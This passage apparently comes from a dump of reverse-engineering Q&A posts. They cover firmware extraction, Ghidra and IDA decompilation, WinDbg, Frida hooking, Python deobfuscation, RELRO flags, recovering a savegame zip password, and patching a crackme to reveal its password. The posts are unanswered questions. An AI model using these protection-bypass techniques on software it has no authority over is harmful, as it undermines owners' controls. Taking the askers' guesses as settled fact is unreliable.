+And this goes on to pretty much till the last address. Does this mean that the whole file is compressed? Surely not, there are raw strings in the binary, so that can't be true. +So maybe just the first chunk is compressed? +But I haven't been able to decompress either. I've tried multiple methods to do so. +gunzip, unlzma, zlib-flate, unxz on both data.bin and an extracted-first-chunk-only bin. +But I end up with either "File format not recognized" or "Invalid header check" etc. errors. +I also tried disassembling the middle and last chunks. +https://onlinedisassembler.com/odaweb/K2AmuJIN +https://onlinedisassembler.com/odaweb/TcU2x8ZR +I chose arm as the architecture just to see, and you can see that the disassembly is peppered with " instruction: 0x...". Which likely means it's not the correct architecture and thus not the correct disassembly. +
+Where do I go from here? How do I penetrate the large opaque chunk of the binary. How do I decompress this? How do I disassemble the other chunks assuming they are code that the main processor loads. +Am I missing something obvious? +More than anything else though I'd like to get the sound files that the speaker uses. +I'm certain they are in this binary data here, since there is no other memory chip in the device, and the processor itself doesn't have enough ROM to keep such data. +" +"['decompilation', 'c++', 'ghidra', 'python']"," Title: convert code to pythonBody: i have snippet code that i want to convert to python to understand the types that ghidra use such *(byte *) and *(code *) and *(uchar *) etc.. +the first code: +
void one(int param_1,int param_2) {
+  int local_8;
+  
+  local_8 = 0;
+  while (local_8 < param_2) {
+    *(byte *)(param_1 + local_8) = *(byte *)(param_1 + local_8) ^ 0x50;
+    local_8 = local_8 + 1;
+  }
+  return;
+}
+
+local_14 = 0;
+byte local_12c [256];
+local_24 = strlen(param_4);
+local_10 = 0;
+
+while (local_14 < 0x100) {
+   local_12c[local_14] = (byte)local_14;
+   local_14 = local_14 + 1;
+}
+local_18 = 0;
+while (local_18 < 0x100) {
+  iVar1 = (int)param_4[local_18 % (int)local_24] + (uint)local_12c[local_18] + local_10;
+  uVar2 = (uint)(iVar1 >> 0x1f) >> 0x18;
+  local_10 = (iVar1 + uVar2 & 0xff) - uVar2;
+  swap(local_12c + local_18,local_12c + local_10);
+  local_18 = local_18 + 1;
+}
+
+writing a python code for this code it will help me a lot to understand the logic that ghidra use with these kind of instructions such as swap(local_12c + local_18,local_12c + local_10); is it a number value ? how to swap a numbers without variables +" +['cryptography']," Title: Reversing encoding of a RSA public keyBody: I'm trying to figure out the format/encoding for this: +00040000a56e4a0e701017589a5187dc7ea841d156f2ec0e36ad52a44dfeb1e61f7ad991d8c51056ffedb162b4c0f283a12a88a394dff526ab7291cbb307ceabfce0b1dfd5cd9508096d5b2b8b6df5d671ef6377c0921cb23c270a70e2598e6ff89d19f105acc2d3f0cb35f29280e1386b6f64c4ef22e1e1f20d0ce8cffb2249bd9a2137000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000100040000a56e4a0e70101759a5187dc7ea841d156f2ec0e36ad52a44dfeb1e61f7ad991d8c51056ffedb162b4c0f283a12a88a394dff526ab7291cbb307ceabfce0b1dfd5cd9508096d5b2b8b6df5d671ef6377c0921cb23c270a70e2598e6ff89d19f105acc2d3f0cb35f29280e1386b6f64c4ef22e1e1f20d0ce8cffb2249bd9a2137000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010001 +to replicate it with my own public key. +I've looked at this https://crypto.stackexchange.com/questions/41871/how-to-find-the-encoding-of-an-rsa-public-key and from what I can see there are similarities, though it doesn't seem to be the same as that. +" +"['debuggers', 'windbg']"," Title: Can't resolve a function from a process module (user32.dll): ""Couldn't resolve error at '!'""Body: I have a WinForm project in C++.
+I attached a kernel debugger to my VMware machine.
+I set a breakpoint on the kernel and switched context to my application: +
0: kd> !process 0 0 WindowsProject1.exe
+PROCESS ffffcf07bad91080
+    SessionId: 1  Cid: 22c8    Peb: dd35f3e000  ParentCid: 1598
+    DirBase: 1b9b83000  ObjectTable: ffffe5829cb59b00  HandleCount: 145.
+    Image: WindowsProject1.exe  
+0: kd> .process ffffcf07bad91080
+Implicit process is now ffffcf07`bad91080
+WARNING: .cache forcedecodeuser is not enabled
+
+I also understand that I can do it like that: +
0: kd> dx -s Debugger.Sessions[0].Processes[8904].SwitchTo()  
+
+Anyway, I want to find the SetWindowTextW function and set a breakpoint on that.
+I tried to find it in the process context: +
0: kd> dd user32!SetWindowTextW
+Couldn't resolve error at 'user32!SetWindowTextW'
+
+Why it doesn't find it? +" +['linux']," Title: Create Fake Entry in sysfsBody: I'm targeting a program that tries to open a file in /sys that doesn't exist. Is there a way to create that file so the program continues? (Normally you can't create flies in sysfs.) +" +"['debuggers', 'windbg', 'process']"," Title: How to search for process by name with WinDBGBody: I know how to list all the processes in the system by running: +
0: kd>dx -r1 Debugger.Sessions[0].Processes  
+
+OR
+0: kd>.tlist
+
+But how can I search for a process by name?
+I tried to use the Contains function but it didn't work: +
0: kd> dx -r1 Debugger.Sessions[0].Processes.Contains("chrome.exe")
+Error: Cannot compare non-intrinsic values to each other. 
+
+" +"['ida', 'windows', 'debugging']"," Title: How to load modules symbols to IDA while debugging a processBody: I am debugging a program that I compiled.
+This program calls SetWindowTextW.
+When I am debugging it with IDA I can step into this function, but it doesn't recognize anything there:
+ +If I will load user32.dll (where the function is exported), I will see all the symbols and functions named, everything. +Is it possible to load the user32.dll to a process that I am debugging, so I will be able to see what functions it calls. +You can see the difference, in the left side is when I am debugging my program and access user32.dll and on the right side is when I debug it directly. + +Solved (thanks to Igor):
+ +" +"['ida', 'windows', 'debuggers', 'trace']"," Title: Can't add tracing in IDA, showing it in grayBody: I added read/write trace to a program. I was able to record the trace with IDA for the first time.
+When I run it again, it didn't work. +I tried to do what I did on the first time, adding the read/write trace, but it show it as gray. I ran Clear trace but it didn't help:
+ +" +"['decompilation', 'gdb', 'python']"," Title: How to decompile python ELF file (Compiled with Nuitka)?Body: I have some files that compiled with nuitka. formats are .bin. I could get shell access to running process with pyrasite same as this guide. but I cannot decompile function codes or anything else, and also tried unpyc37. +shell access to process is all I have. I can print variables and see values but how can I access functions code ? +or is there another way to extract codes ? + +" +"['ida', 'binary', 'mips']"," Title: IDA Pro, How to forcefully disassemble ""mips 32"" instead of ""mips 16""?Body: While disassembling a mips binary, IDA Pro attempts to disassemble into mips 16 mode, even though It's mips 32 ISA.
+Below is that code snippet. +
.text:XXXXXXXX       .set nomips16 # <= ??
+.text:XXXXXXXX 3C    .byte 0x3C        
+.text:XXXXXXXX 02    .byte    2
+.text:XXXXXXXX       .set mips16   # <= ??
+.text:XXXXXXXX 80    .byte 0x80
+.text:XXXXXXXX 87    .byte 0x87
+.text:XXXXXXXX 8C    .byte 0x8C
+.text:XXXXXXXX 42    .byte 0x42 
+...
+
+IDA arbitrarily set this as mips16, and repeatedly disassemble here as mips16.
+Which makes me crazy. +Question:
+How to forcefully disassemble here as mips 32 ISA?
+(Manually? or Automatically using IDA Plugins?) +" +['python']," Title: Help me please decode the string (looks like gzip but it is not)Body: The software sends to the main server such string: +
\x1f\xe2\x80\xb9\x08\x00\x00\x00\x00\x00\x04\x00E...\x03\x00\x00"
+
+decode_gzip(body)
+
+Later I've tried to decode it through different online decoders and in python like bz2, zip and rar string - nothing. +What can I try next? +" +"['python', 'obfuscation']"," Title: How can I reverse this python code (obfuscated by b64, gzip and many more)Body: How can I Deobfuscate this python code +Link to code +I tried to replace eval places by print. but it won't work and output is also obfuscated +Head of the code looks like this + +can anyone please help me +" +['symbols']," Title: (Partial?) Automation of transferring symbol names between architecturesBody: I have two versions of an app: one version compiled for ARM64 iOS, and the other for ARM32 Android. I'm working on the ARM64 version, but it has almost all of its symbols stripped. The ARM32 version is not stripped at all, so has all of the symbol names left intact. +Up to now I have been using two Binary Ninja tabs for each version of the game, and have found symbol names for the ARM64 version by finding the same function in the ARM32 tab and then transferring symbol names that I see. However, this is slow and annoying, so I've started looking for a possible way of matching up symbols by comparing the binaries. This sounds like a difficult problem to solve, and I would settle for even a partial job (such as a tool that only transfers things that it is certain about, which leaves me to decipher some of the more complicated parts). +I think I'm being a bit hopeful here, but I figured it was worth asking just in case somebody has done this before. +" +['debugging']," Title: Get Zip password used by applicationBody: I bought a game, "They are billions", and I'm trying to edit a savegame on my singleplayer campaign to change some vars (cheating because im very bad player). But the file is a password protected zip. +All i can saw is that the zip is AES protected. +I have downloaded x64bg to try to debug the moment when the program accesses the file with a password, but the truth is that I am totally new to debuggers and it is the first time that I have used a debugger. +Any idea on how can i get the password for the savegame file? +My interest is mainly in learning how to do it rather than in obtaining the password itself. +Thanks for all +" +['java']," Title: What tools can be appropriate to reverse engineer a (open-source) java program?Body: I am very new reverse engineering, and have the below mentioned tasks to achieve on a open source program called Apache Ant. What (preferably free) tools can be appropriate to achieve these. I have been exploring Enterprise Architect for days and it has been pointed out to me it is not tool for such objectives. +
    +
  • Extract different source code metrics such as LOC, Comments, No of classes etc.
  • +
  • Extract abstract classes.
  • +
  • Extract function calls
  • +
  • Extract level of coupling between classes
  • +
  • Extract different type of associations in classes.
  • +
  • Extract different UML diagrams.
  • +
  • Detect Singleton and Factory Method design patterns.
  • +
  • Detect God Class and Lazy Class code smells.
  • +
+" +"['debugging', 'kernel', 'lldb', 'macos']"," Title: Kernel debug two physical MacBook pro devicesBody: I've asked the same question at stackoverflow, but i'm gonna copy-paste it here as i might get more relevant answers(?): +I'm trying to kernel debug a physical Macbook pro device. +When my setup contains a VM, between a host MacOS and guest MacOS, its working with no problem using lldb -o "kdp-remote <guest_machine_ip>" +my boot-args on my remote (to debug) Macbook are: +
user$ nvram boot-args
+boot-args       debug=0x44 kext-dev-mode=1 pmuflags=1 -v kcsuffix=debug
+
+When i'm triggering kernel debug using either +sudo dtrace -w -n "BEGIN { breakpoint(); }" +or LEFT CMD + RIGHT CMD + PowerButton, the system is in halt mode, not responsive to anything (Mouse not moving, etc) +But when I'm trying to connect to the machine from the host using the lldb command provided earlier, it's not working. +I've made sure the machines can ping each other and I can set up a SSH connection. +To the best of my understanding, I had to user special Apple adapters (Real™ Ethernet adapter), so I'm using the following adapters to debug the remote machine: + +The physical connections setup looks like that: +MacOS-Debugger --(USBC to Ethernet adapter)--> Ethernet cable <-- (ThunderBolt to Ethernet adapter) <-- (ThunderBolt3 to ThunderBolt2 adapter) <-- MacOS-debuggee +Generally for the debugging I used the following tutorial, which worked for VM debugging: +https://knight.sc/debugging/2018/08/15/macos-kernel-debugging.html, I didn't find the exact KDK version, but I don't think it should be the problem here +My debugger is BigSur, and my debugee is Catalina +Any ideas to what the problem may be will be helpful +" +"['disassembly', 'decompile', 'c#', 'compilers', 'instrumentation']"," Title: How to add Instructions (OpCodes) after a If Statement in C#?Body: I hope someone can help me out with my problem. Currently I'm working with C# and use the library Mono.Cecil to add Instruction Code before a method exits. There is this one case, when a if statement is at the end of a method and I want to add TraceUtil.TraceMethodExit(b); at the end, it ends up in the if statement, but it should be outside at the end. I use exactly the same Instructions which the compiler? produces, when I would manualy would put the TraceUtil.TraceMethodExit(b); at the end. But still mine ends up in the if statement body. + +but it should look like this: + +Here are what the compiler? produces: +
IL_0000: nop
+IL_0001: ldarg.1
+IL_0002: stloc.0
+IL_0003: ldloc.0
+IL_0004: brfalse.s IL_0013
+IL_0006: nop
+IL_0007: ldstr "TEST"
+IL_000c: call System.Void UnityEngine.Debug::Log(System.Object)
+IL_0011: nop
+IL_0012: nop
+IL_0013: ldnull
+IL_0014: call System.Void SEE.Utils.TraceUtil::TraceMethodExit(System.Object[])
+IL_0019: nop
+IL_001a: ret
+
+Here are what will be the output when I add the instructions: +
IL_0000: nop
+IL_0001: ldarg.1
+IL_0002: stloc.0
+IL_0003: ldloc.0
+IL_0004: brfalse.s IL_001a
+IL_0006: nop
+IL_0007: ldstr "TEST"
+IL_000c: call System.Void UnityEngine.Debug::Log(System.Object)
+IL_0011: nop
+IL_0012: nop
+IL_0013: ldnull
+IL_0014: call System.Void SEE.Utils.TraceUtil::TraceMethodExit(System.Object[])
+IL_0019: nop
+IL_001a: ret
+
+Here is the Code/Method to add the additional instructions: +
private static void TraceZeroParameterMethodExit(ILProcessor iLProc, Instruction instr, MethodReference mRef)
+        {
+            MethodBodyRocks.SimplifyMacros(iLProc.Body);
+            iLProc.InsertBefore(instr, Instruction.Create(OpCodes.Ldnull));
+            iLProc.InsertBefore(instr, Instruction.Create(OpCodes.Call, mRef));
+            iLProc.InsertBefore(instr, Instruction.Create(OpCodes.Nop));
+            MethodBodyRocks.OptimizeMacros(iLProc.Body);
+        }
+
+Does anyone have a idea how this could be solved? Maybe it has to do with the Offset? Thanks for any help! +" +['assembly']," Title: Can the return value of this function be determined with static analysis?Body: I have an assignment and I tried solving it. However I can't seem to solve it, despite double checking everything and investing multiple hours. +My task is to reverse engineer the following functions to high-level C-code and determine the return value of f(1,2,3). +Given Task: + +This is my approach: + +The problem: +f(1,2,3) can not be determined, because line 6 in function f results in a jump to loc_56C, where g(2,3) is called. In line 14 push dword ptr [ebp+0Ch] is used, however only 2 parameter are supplied for function g at line 16 (8 Byte), meaning we do not know what lies on that memory location (12 Byte above base pointer). As a result, the return value can not be determined. +Is it true, that f(1,2,3) can not be determined? +" +"['windows', 'qemu', 'kernel']"," Title: Run ntoskrnl.exe with qemuBody: We can run linux and similar unix kernels uing qemu -kernel parameter. Is there any way to do the same with NT kernel? I could not find a way to test even reactos kernelwith qemu. +Also can .efi files be run? In that way I can try bootmgr.efi to load ntoskrnl.exe. +" +"['android', 'function-hooking', 'frida']"," Title: Cant hook into native lib with script?Body: im doing some practice stuff about hooking android native lib. I wrote this script: +
 function processJniOnLoad(libraryName) {
+    const funcSym = "Java_com_mobisec_gonative_FlagChecker_helloFromTheOtherSide";
+    const funcPtr = Module.findExportByName(libraryName, funcSym);
+
+    const membase = Module.findBaseAddress(libraryName);
+    console.log("Base address is " + membase);
+    
+    console.log("[+] Hooking " + funcSym + "() @ " + funcPtr + "...");
+
+    Module.enumerateExports(libraryName, { onMatch: function(e) { console.log("type " + e.type + " name of function = " + e.name + " " + e.address); }, onComplete: function() { } });
+}
+
+function waitForLibLoading(libraryName) {
+    console.log("loaded !!");
+    var isLibLoaded = false;
+
+    Interceptor.attach(Module.findExportByName(null, "open"), {
+        onEnter: function (args) {
+            var libraryPath = Memory.readCString(args[0]);
+            console.log(libraryPath);
+            if (libraryPath.includes(libraryName)) {
+                console.log("[+] Loading library " + libraryPath + "...");
+                isLibLoaded = true;
+            }
+        },
+        onLeave: function (args) {
+            if (isLibLoaded) {
+                processJniOnLoad(libraryName);
+                isLibLoaded = false;
+            }
+        }
+    });
+}
+waitForLibLoading("libnative-lib.so");
+
+But it cant work (base address is null,...), here is the result: +
loaded !!
+/proc/self/cmdline
+/data/app/com.mobisec.gonative-U8SZLMGh96sgK6qTGxmRqQ==/base.apk
+/data/app/com.mobisec.gonative-U8SZLMGh96sgK6qTGxmRqQ==/lib/x86/libnative-lib.so
+[+] Loading library /data/app/com.mobisec.gonative-U8SZLMGh96sgK6qTGxmRqQ==/lib/x86/libnative-lib.so...
+Base address is null
+[+] Hooking Java_com_mobisec_gonative_FlagChecker_helloFromTheOtherSide() @ null...
+
+But when i do that manually by typing all the command, its work: +
[Google Pixel::com.mobisec.gonative]-> const membase = Module.findBaseAddress("libnative-lib.so");
+[Google Pixel::com.mobisec.gonative]-> console.log("Base address is " + membase);
+Base address is 0xc935a000
+[Google Pixel::com.mobisec.gonative]-> Module.findExportByName("libnative-lib.so","Java_com_mobisec_gonative_FlagChecke r_helloFromTheOtherSide")
+"0xc935a630"
+[Google Pixel::com.mobisec.gonative]->
+
+So Why does my script failed ?? +" +['hardware']," Title: Help with identifying 10pin chipBody: I've tried every possible combination of the markings of the chip but I can't seem to find anything on Google. +I think the chip is 96TI 35R but apart from that I can't find anything. It's like the chip doesn't exist :D +I think it's Texas Instruments. +Maybe the name is truncated but I only find the TI calculator + +" +"['disassembly', 'intel']"," Title: jmp $+5, why the jumpBody: I am looking at some code that has jmp $+5 instruction at the beginning of the entry code in a library, right after pushing registers to the stack. I understand that jmp $+5 puts IP at the next instruction but why is the jump there at all? Without it, the next instruction would have been executed anyway. The only thing that comes to mind is that it is PIE related and jump with displacement of 0 that could potentially be a non-zero value, but this code is a part of a big "blob" and I don't think its individual parts would be relocatable, at least not to a point where the jump displacement would be non-zero. +The compiler is GCC 3.7?, linux 32 bit +
Version needs section '.gnu.version_r' contains 2 entries:
+ Addr: 0x0000000000017e0c  Offset: 0x017e0c  Link: 3 (.dynstr)
+  000000: Version: 1  File: libgcc_s.so.1  Cnt: 1
+  0x0010:   Name: GCC_3.0  Flags: none  Version: 7
+
+Thanks +" +"['disassembly', 'firmware', 'arm', 'entry-point', 'iat']"," Title: Find the entry point in Interrupt Vector Table ARM9Body: I'm analyzing the firmware of a device that has the cpu ARM946E-S. It has not a file system, just assembly code and strings. +I've disassembled the firmware using ida pro, but I couldn't find the entry point. +I know that in the interrupt address table there is a pointer called 'Reset', I could use it to start dynamic analysis, but I could not find the IAT either. +Obviously, I've tried to analyze it using binwalk and radare2 unsuccessfully. +Can someone tell me how to find the interrupt address table? +
+EDIT +After Brendan Dolan-Gavitt's answer. +In cpu documentation, there is a control register called “alternate vector select”. + +I do not know how to get the control register table. +And I have another doubt. My firmware is 16MB, so where is the IVT if the Bit 13 is set? +
+Since it was impossible for me to locate the IVT I’ve decided to try the approach suggested by Brendan: +Each entry of the IVT is an arm instruction that jumps to a specific location. The only instruction that does an unconditional jump is b (branch). So I inferred that the IVT is composed of a set of b instructions. +The opcode of b is EA. So searching in the hexadecimal version of the firmware… + +It finds only one occurrence. +Analysing that location with radare2: + +Those branch instructions point to themselves. It doesn’t make any sense. +" +"['encryption', 'decryption']"," Title: where can i find decryption key inside of the dll file?Body: I am testing a dll file , in a C# console app , and by the looks of it the dll file sends a web request with encrypted and then encoded values to a remote server. +after intercepting and analyzing the request it seems like base64 encoding but when i try to decode it the result is totally unreadable so i am assuming that the string is first being encrypted and then encoded into base64 format and then sent to the server. +I opened the dll file in JustDecompile to find the encryption key , but i dont know where to start my search for the key , is there any hard and fast rule about the location of the key? or it could be anywhere inside the dll file? if so then whats the best possible method of finding the key or underlying encryption method ? +thanks in advance +" +"['ghidra', 'mips']"," Title: Why is is ghidra representing mips move instruction as _or?Body: Now of course I keep trying to change it but once I get to the end of patching it says its invalid and wont let me change it. So if you have a way to do that let me know. +" +"['disassembly', 'ghidra']"," Title: How to make ghidra display the real offset from rbpBody: How to make ghidra display the actual offset from rbp in assembly? For the same program, ghidra shows mov dword [rbp + local_c], edi +I want to see the actual offset from rbp instead of local_c +In assembly, the actual instruction is: +mov dword [rbp-0x04], edi +so offset is -0x04 + +" +['ida']," Title: How to access ""Registered Addons"" page in IDA?Body: How to access "Registered Addons" page in IDA? + +" +"['binary-analysis', 'linux', 'c', 'ghidra']"," Title: How to get the input necessary to get to the endBody: In short, I have a code that gets an input via stdin. Once it has the input string in memory, it verifies its integrity by calling a function for every condition, and exiting the program if those conditions are not met. +There are 20 of those verifications, and I do not think it is efficient to reverse it manually considering the first is (according to Ghidra disassemblying), being param1 = (long) input; and input = the 32-byte array in which the input is stored, +
void verify1(long param_1){
+    if ((int)*(char *)(param_1 + 4) * (int)*(char *)(param_1 + 0xf) - (int)*(char *)(param_1 + 0xd) !=
+      0x349f) {
+        exit(-1);
+      }
+    return;
+}
+
+I think a program or plugin to automate this would be useful. However, I could not find anything useful at all. +" +['jtag']," Title: Help required to figure out the JTAG or UART pinsBody: I have an old CDMA dongle lying around, so I thought to try to reverse engineer them, but am unable to figure out the UART or JTAG pins, I have attached a photo of the probable pins, can anyone help on how to confirm. +This is the link to the FCC website. +Thank you! +https://fccid.io/QISEC156/Internal-Photos/Internal-Photos-1419925 + +" +"['binary-analysis', 'byte-code']"," Title: What character codes could these be?Body: Good day. I have these character codes in a binary file (Adobe After Effects Project) that represent a string. If I change them the text inside the application changes. However, for the life of me, I do not understand what kind of character codes these are. They're not ASCII codes, they're not Hex codes, they're not anything I can recognize. Here's a couple of examples: +
 [ 42 42 80 72 85 82 82 81 3 ]
+
+translates to: "GGmeroon". +And +
 [ 38 68 80 72 85 68 3 ]
+
+translates to: "Camera". +(Uppercase/lowercase matters). +Can you help me find a way to translate these codes? +Thanks. +" +"['disassembly', 'radare2']"," Title: radare2 unable to run a binary fileBody: I've been trying to debug a binary file in radare2 but it throws me this error. +
$ r2 -d bin                      
+Killing child process 1688 due to an error
+Killing child process 1689 due to an error
+[w] Cannot open 'dbg://./bin' for writing.
+
+So I ran it without the -d parameter but I'm unable to execute the program by dc as the error below is shown +
[0x00000610]> dc
+Cannot continue, run ood?
+
+I tried running ood but following prompt is received +
[0x00000610]> ood
+Killing child process 1711 due to an error
+Killing child process 1712 due to an error
+r_core_file_reopen: Cannot reopen file: dbg:///home/kali/Downloads/bin  with perms 0x7, attempting to open read-only.
+
+Is this the problem with the binary or am I doing something wrong? Some help is appreciated. +" +"['elf', 'compilers', 'gcc', 'security']"," Title: How to disable relro while compilation?Body: My doubt is how to compile the binary without RELRO? and why it is enabling FULL-RELRO when we are not providing any flags? +This is the code. +
#include <stdio.h>
+#include <stdlib.h>
+
+int main(int argc, int *argv[])
+{
+    size_t *p = (size_t *) strtol(argv[1], NULL, 16);
+    p[0] = 0xDEADBEEF;
+    printf("RELRO: %p\n", p);
+    return 0;
+}
+
+While compiling the above code with the parameters: +
$ gcc -g -Wl,-z,relro -o test test.c
+
+And running the checksec on the generated binary: +
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols     FORTIFY Fortified   Fortifiable  FILE
+Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   69 Symbols     No   0       1   test
+
+Compiling with the following command: +
$ gcc -g -Wl,-z,relro,-z,now -o test test.c
+
+And running the checksec on generated binary: +
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols     FORTIFY Fortified   Fortifiable  FILE
+Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   71 Symbols     No   0       1   test-full
+
+While compiling with the command: +
$ gcc -o test test.c
+
+And running the checksec on the generated binary: +
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols     FORTIFY Fortified   Fortifiable  FILE
+Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   66 Symbols     No   0       1   test
+
+" +"['python', 'decompile', 'byte-code']"," Title: Decompiling exe to python source codeBody: I've recently tried to decompile a .exe to .py source code. It partly went well as the majority of the .pyc got translated into python code but partly also failed. Like the following part: +
--- This code section failed: ---
+
+ L. 128       0_2  SETUP_LOOP        13710  'to 13710'
+              4_0  COME_FROM         13706  '13706'
+                4  LOAD_FAST                'self'
+                6  LOAD_ATTR                _Worker__abort
+                8  LOAD_CONST               True
+               10  COMPARE_OP               !=
+            12_14  POP_JUMP_IF_FALSE 13708  'to 13708'
+
+Now my questions are: +
    +
  1. What can cause such a decompiling error? The .exe is working.
  2. +
  3. What can I do to translate the rest of the failed decompiled byte-code to get the full source code?
  4. +
  5. Is there a place where I can find the construction of such byte-code to source code? Even though it would take a lot of time I could try to manually convert it. +Any tips or ideas?
  6. +
+Thanks for reading +" +"['binary-analysis', 'file-format', 'binary', 'binary-diagnosis', 'binary-editing']"," Title: Open unknown image format (probably a RAW image)Body: I copy image files here from a linux based system which ends with .bin. +Unfortunately I don't know how to open it. The goal is to convert images to this format later. +What I have already tried: +
    +
  • Open the File with a RAW image Viewer (was not successful).
  • +
  • looked at the files with the Hex Editor to find out information about the structure (was not successful).
  • +
  • to make sure that these are the images from the menu, I swapped 2 files with each other (swap the file name) (has worked).
  • +
+This is how it looks on the device: + +I have uploaded the two files here. +https://drive.google.com/file/d/1WXbuqT7B-_1OdHZjScmWMKHKxfEUzta7/view?usp=sharing https://drive.google.com/file/d/1YN_TbwWevuNQ3_Ha6MikOA_5JX8h1Pu1/view?usp=sharing +--UPDATE-- +//---------------------------------------------------------------// +Here I have cloned some other flags from the device: +Espanol: +https://drive.google.com/file/d/18FE-nT7DMDmNvPtT3lMzARdjcUItpUSu/view?usp=sharing +English: +https://drive.google.com/file/d/1Qqr-ZKyT1M5ichLXBKRRBJzxaPDEpSGg/view?usp=sharing +Portugues: +https://drive.google.com/file/d/13DYM1-Di7bI_KXvT4Eo9zC6x-jIwX0jX/view?usp=sharing +Here also two random pictures of the GUI: +https://drive.google.com/file/d/1oulgopsKGIkpUQ12_94twBaNlVkToKxI/view?usp=sharing +https://drive.google.com/file/d/1E9Tx2S86tP2B_z84Fe_6LWO-RZxSEVtD/view?usp=sharing +This should be these images (once highlighted and once normal): + + +//---------------------------------------------------------------// +Here are 2 copies of the 2 files from a hex editor +img_togglelanguage_ru_ovg.bin: +
FF FF FF FF 00 FF FF FF FF 00 E2 FF FF FF 00 01 1A 1A 1A 2D 1A 1A 1A C3 99 1A 1A 1A FF 01 1A 1A 1A C0 1A 1A 1A 2D 88 FF FF FF 00 00 1A 1A 1A CF 9B 1A 1A 1A FF 00 1A 1A 1A CF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF FF FF FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF FF FF FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF FF FF FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF FF FF FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF FF FF FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 00 00 FF FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 00 00 FF FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 00 00 FF FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 00 00 FF FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 00 00 FF FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 00 00 FF FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 00 1A 1A 1A D2 9B 1A 1A 1A FF 00 1A 1A 1A CF 88 FF FF FF 00 01 1A 1A 1A 39 1A 1A 1A D2 99 1A 1A 1A FF 01 1A 1A 1A C9 1A 1A 1A 2D FF FF FF FF 00 FF FF FF FF 00 E3 FF FF FF 00
+
+img_togglelanguage_de_ovg.bin: +
FF FF FF FF 00 FF FF FF FF 00 E2 FF FF FF 00 01 1A 1A 1A 2D 1A 1A 1A C3 99 1A 1A 1A FF 01 1A 1A 1A C0 1A 1A 1A 2D 88 FF FF FF 00 00 1A 1A 1A CF 9B 1A 1A 1A FF 00 1A 1A 1A CF 88 FF FF FF 00 81 1A 1A 1A FF 99 00 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 00 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 00 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 00 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 00 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 DE 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 DE 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 DE 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 DE 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 DE 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 DE 00 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF CF 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF CF 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF CF 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF CF 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF CF 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 81 1A 1A 1A FF 99 FF CF 00 FF 81 1A 1A 1A FF 88 FF FF FF 00 00 1A 1A 1A D2 9B 1A 1A 1A FF 00 1A 1A 1A CF 88 FF FF FF 00 01 1A 1A 1A 39 1A 1A 1A D2 99 1A 1A 1A FF 01 1A 1A 1A C9 1A 1A 1A 2D FF FF FF FF 00 FF FF FF FF 00 E3 FF FF FF 00
+
+Maybe someone knows more than me. +" +"['disassembly', 'ghidra']"," Title: Getting value of local variable in GhidraBody: I've been trying to solve a crackme challenge by examining it's decompiled version by Ghidra. +So I figured the code where the strcmp is done as shown in the figure below. Now I need to to patch the program to make it print the password if strcmp fails. +
    +
  • The password is stored in local_40
  • +
